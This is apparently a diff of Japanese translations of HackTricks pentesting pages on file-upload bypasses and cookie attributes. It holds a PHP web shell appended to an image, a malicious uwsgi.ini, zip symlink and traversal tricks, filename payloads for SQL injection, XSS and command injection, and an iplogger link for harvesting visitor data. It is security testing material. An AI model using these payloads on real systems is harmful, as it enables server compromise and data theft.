AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
@ -59,7 +60,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|||||||
AAA<--SNIP 232 A-->AAA.php.png
|
AAA<--SNIP 232 A-->AAA.php.png
|
||||||
```
|
```
|
||||||
|
|
||||||
### Content-Type、マジックナンバー、圧縮&リサイズのバイパス
|
### Content-Type、マジックナンバー、圧縮およびリサイズのバイパス
|
||||||
|
|
||||||
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_
|
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_
|
||||||
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
@ -69,7 +70,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
- **圧縮が画像に追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
|
- **圧縮が画像に追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
|
||||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||||
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
|
- ウェブページが画像を**リサイズ**している可能性もあります。たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用しています。しかし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
|
||||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||||
- 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
|
- 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
|
||||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||||
@ -84,13 +85,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||||||
3. **“.”、 “..”、または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
3. **“.”、 “..”、または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
||||||
4. **NTFS**で簡単に削除できないファイル(例: **“…:.jpg”**)をアップロードします。(Windows)
|
4. **NTFS**で簡単に削除できないファイル(例: **“…:.jpg”**)をアップロードします。(Windows)
|
||||||
5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows)
|
5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows)
|
||||||
6. **予約された**(**禁止された**)**名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を持つファイルを**Windows**にアップロードします。
|
6. **予約された**(**禁止された**)**名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を使用してファイルを**Windows**にアップロードします。
|
||||||
- また、**実行可能ファイル**(.exe)や**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることを試みてください。
|
- また、**実行可能ファイル**(.exe)や**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることを試みてください。
|
||||||
|
|
||||||
### 特殊な拡張子のトリック
|
### 特殊な拡張子のトリック
|
||||||
|
|
||||||
**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
|
**PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
|
||||||
**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
**ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||||
|
|
||||||
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりできます...)
|
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりできます...)
|
||||||
|
|
||||||
@ -106,7 +107,7 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新
|
|||||||
|
|
||||||
この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||||
|
|
||||||
リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
|
リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に操作される可能性があります。
|
||||||
|
|
||||||
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
|
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
|
||||||
```ini
|
```ini
|
||||||
@ -128,11 +129,11 @@ characters = @(call://uwsgi_func)
|
|||||||
```
|
```
|
||||||
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やサービス拒否攻撃のために)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
|
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やサービス拒否攻撃のために)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
|
||||||
|
|
||||||
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げることができます。
|
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げます。
|
||||||
|
|
||||||
## **wget File Upload/SSRF Trick**
|
## **wget File Upload/SSRF Trick**
|
||||||
|
|
||||||
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリストに含まれているかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\
|
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\
|
||||||
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
|
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
@ -160,23 +161,23 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
|
|
||||||
## ツール
|
## ツール
|
||||||
|
|
||||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、ペンテスターやバグハンターがファイルアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティ技術を活用して、脆弱性の特定と悪用のプロセスを簡素化し、Webアプリケーションの徹底的な評価を保証します。
|
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、ペンテスターやバグハンターがファイルアップロードメカニズムをテストするために設計された強力なツールです。さまざまなバグバウンティ技術を活用して、脆弱性の特定と悪用のプロセスを簡素化し、Webアプリケーションの徹底的な評価を保証します。
|
||||||
|
|
||||||
## ファイルアップロードから他の脆弱性へ
|
## ファイルアップロードから他の脆弱性へ
|
||||||
|
|
||||||
- **filename** を `../../../tmp/lol.png` に設定して、**パストラバーサル**を試みてください。
|
- **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる
|
||||||
- **filename** を `sleep(10)-- -.jpg` に設定すると、**SQLインジェクション**を達成できるかもしれません。
|
- **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません
|
||||||
- **filename** を `<svg onload=alert(document.domain)>` に設定して、XSSを達成してください。
|
- **filename**を`<svg onload=alert(document.domain)>`に設定してXSSを達成する
|
||||||
- **filename** を `; sleep 10;` に設定して、いくつかのコマンドインジェクションをテストします(詳細な [コマンドインジェクションのトリックはこちら](../command-injection.md))。
|
- **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(他の[コマンドインジェクションのトリックはこちら](../command-injection.md))
|
||||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||||
- **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
- **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試してください。
|
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す
|
||||||
- [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
- [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
|
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**訪問者の情報を盗む**こともできます。
|
||||||
- [**XXEとCORS**のバイパスをPDF-Adobeアップロードで実行](pdf-upload-xxe-and-cors-bypass.md)
|
- [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
- 特別に作成されたPDFでXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、指定された指示に従って任意のJSを実行するPDFを準備できます。
|
- 特別に作成されたPDFによるXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
|
||||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します。
|
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します。
|
||||||
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します。
|
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します。
|
||||||
|
|
||||||
@ -193,7 +194,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
9. **ZIP**: LFI経由のRCE / DoS
|
9. **ZIP**: LFI経由のRCE / DoS
|
||||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||||
|
|
||||||
#### Burp拡張
|
#### Burp拡張機能
|
||||||
|
|
||||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||||
|
|
||||||
@ -216,7 +217,7 @@ ln -s ../../../index.php symindex.txt
|
|||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
tar -cvf test.tar symindex.txt
|
tar -cvf test.tar symindex.txt
|
||||||
```
|
```
|
||||||
### 異なるフォルダに展開する
|
### 異なるフォルダーに展開する
|
||||||
|
|
||||||
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
|
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
|
||||||
|
|
||||||
@ -251,7 +252,7 @@ create_zip()
|
|||||||
|
|
||||||
さらなる詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
さらなる詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||||
|
|
||||||
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するために書かれています。
|
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するように書かれています。
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
@ -297,9 +298,9 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特
|
|||||||
|
|
||||||
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。
|
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。
|
||||||
|
|
||||||
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害な形式(例:JS、PHP、またはPharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
|
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
|
||||||
|
|
||||||
適応性があるにもかかわらず、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
|
適応性がある一方で、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
|
||||||
|
|
||||||
詳細情報は次のリンクにあります: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
詳細情報は次のリンクにあります: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
|
@ -1,147 +1,147 @@
|
|||||||
# Cookies Hacking
|
# クッキーのハッキング
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Cookie Attributes
|
## クッキー属性
|
||||||
|
|
||||||
Cookiesには、ユーザーのブラウザでの動作を制御するいくつかの属性があります。これらの属性について、より受動的な声で説明します。
|
クッキーには、ユーザーのブラウザでの動作を制御するいくつかの属性があります。これらの属性について、より受動的な表現で説明します。
|
||||||
|
|
||||||
### Expires and Max-Age
|
### Expires と Max-Age
|
||||||
|
|
||||||
Cookieの有効期限は`Expires`属性によって決まります。対照的に、`Max-age`属性はCookieが削除されるまでの時間(秒単位)を定義します。**`Max-age`を選択することをお勧めします。これはより現代的な慣行を反映しています。**
|
クッキーの有効期限は `Expires` 属性によって決まります。一方、`Max-age` 属性は、クッキーが削除されるまでの時間(秒単位)を定義します。**より現代的な慣行を反映するために `Max-age` を選択してください。**
|
||||||
|
|
||||||
### Domain
|
### Domain
|
||||||
|
|
||||||
Cookieを受け取るホストは`Domain`属性によって指定されます。デフォルトでは、これはCookieを発行したホストに設定され、サブドメインは含まれません。しかし、`Domain`属性が明示的に設定されると、サブドメインも含まれます。これにより、サブドメイン間でのCookie共有が必要なシナリオで、`Domain`属性の指定が制限の少ないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`のようなサブドメインでもCookieにアクセスできます。
|
クッキーを受け取るホストは `Domain` 属性によって指定されます。デフォルトでは、これはクッキーを発行したホストに設定され、サブドメインは含まれません。ただし、`Domain` 属性が明示的に設定されると、サブドメインも含まれます。これにより、サブドメイン間でのクッキー共有が必要なシナリオで、`Domain` 属性の指定が制限の少ないオプションとなります。たとえば、`Domain=mozilla.org` を設定すると、`developer.mozilla.org` のようなサブドメインでもクッキーにアクセスできます。
|
||||||
|
|
||||||
### Path
|
### Path
|
||||||
|
|
||||||
`Cookie`ヘッダーが送信されるために要求されたURLに存在しなければならない特定のURLパスは、`Path`属性によって示されます。この属性は`/`文字をディレクトリセパレーターとして考慮し、サブディレクトリ内での一致も可能にします。
|
`Cookie` ヘッダーが送信されるために、要求された URL に存在しなければならない特定の URL パスは `Path` 属性によって示されます。この属性は `/` 文字をディレクトリ区切りとして扱い、サブディレクトリ内でも一致を許可します。
|
||||||
|
|
||||||
### Ordering Rules
|
### Ordering Rules
|
||||||
|
|
||||||
同じ名前のCookieが2つある場合、送信されるCookieは以下に基づいて選択されます:
|
同じ名前のクッキーが2つある場合、送信されるクッキーは以下に基づいて選択されます:
|
||||||
|
|
||||||
- 要求されたURL内で最も長いパスに一致するCookie。
|
- 要求された URL で最も長いパスに一致するクッキー。
|
||||||
- パスが同じ場合は、最も最近設定されたCookie。
|
- パスが同じ場合は、最も最近設定されたクッキー。
|
||||||
|
|
||||||
### SameSite
|
### SameSite
|
||||||
|
|
||||||
- `SameSite`属性は、Cookieがサードパーティのドメインからのリクエストで送信されるかどうかを決定します。3つの設定があります:
|
- `SameSite` 属性は、サードパーティのドメインからのリクエストでクッキーが送信されるかどうかを決定します。3つの設定があります:
|
||||||
- **Strict**: サードパーティのリクエストでCookieが送信されるのを制限します。
|
- **Strict**: サードパーティのリクエストでクッキーが送信されるのを制限します。
|
||||||
- **Lax**: サードパーティのウェブサイトによって開始されたGETリクエストでCookieが送信されることを許可します。
|
- **Lax**: サードパーティのウェブサイトによって開始された GET リクエストでクッキーが送信されることを許可します。
|
||||||
- **None**: どのサードパーティのドメインからでもCookieが送信されることを許可します。
|
- **None**: どのサードパーティのドメインからでもクッキーが送信されることを許可します。
|
||||||
|
|
||||||
Cookieを設定する際には、これらの属性を理解することで、さまざまなシナリオで期待通りに動作することを確保できます。
|
クッキーを設定する際には、これらの属性を理解することで、さまざまなシナリオで期待通りに動作することを確保できます。
|
||||||
|
|
||||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
| **リクエストタイプ** | **例コード** | **クッキーが送信されるとき** |
|
||||||
| ---------------- | ---------------------------------- | --------------------- |
|
| ---------------- | ---------------------------------- | --------------------- |
|
||||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
| リンク | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
| プリレンダリング | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
| フォーム GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
| フォーム POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||||
| AJAX | $.get("...") | NotSet\*, None |
|
| AJAX | $.get("...") | NotSet\*, None |
|
||||||
| Image | \<img src="..."> | NetSet\*, None |
|
| 画像 | \<img src="..."> | NetSet\*, None |
|
||||||
|
|
||||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
表は [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) からのもので、若干修正されています。\
|
||||||
_**SameSite**_属性を持つCookieは、**CSRF攻撃を軽減**します。
|
_**SameSite**_ 属性を持つクッキーは、**CSRF攻撃を軽減**します。
|
||||||
|
|
||||||
**\*Chrome80(2019年2月)以降、CookieにSameSite属性がない場合のデフォルトの動作はLaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
**\*Chrome80(2019年2月)以降、SameSite 属性を持たないクッキーのデフォルトの動作は Lax になります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||||
この変更を適用した後、一時的にChromeでは**SameSiteポリシーのないCookie**は**最初の2分間はNoneとして扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対してLaxとして扱われます。**
|
この変更を適用した後、一時的に、Chrome の **SameSite ポリシーを持たないクッキーは最初の2分間は None として扱われ、その後はトップレベルのクロスサイト POST リクエストに対して Lax として扱われます。**
|
||||||
|
|
||||||
## Cookies Flags
|
## クッキーのフラグ
|
||||||
|
|
||||||
### HttpOnly
|
### HttpOnly
|
||||||
|
|
||||||
これにより、**クライアント**がCookieにアクセスするのを防ぎます(例えば、**Javascript**経由で:`document.cookie`)。
|
これにより、**クライアント**がクッキーにアクセスするのを防ぎます(例えば、**Javascript** を介して:`document.cookie`)。
|
||||||
|
|
||||||
#### **Bypasses**
|
#### **バイパス**
|
||||||
|
|
||||||
- ページがリクエストのレスポンスとしてCookieを**送信している**場合(例えば、**PHPinfo**ページで)、XSSを悪用してこのページにリクエストを送り、レスポンスから**Cookieを盗む**ことが可能です(例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。
|
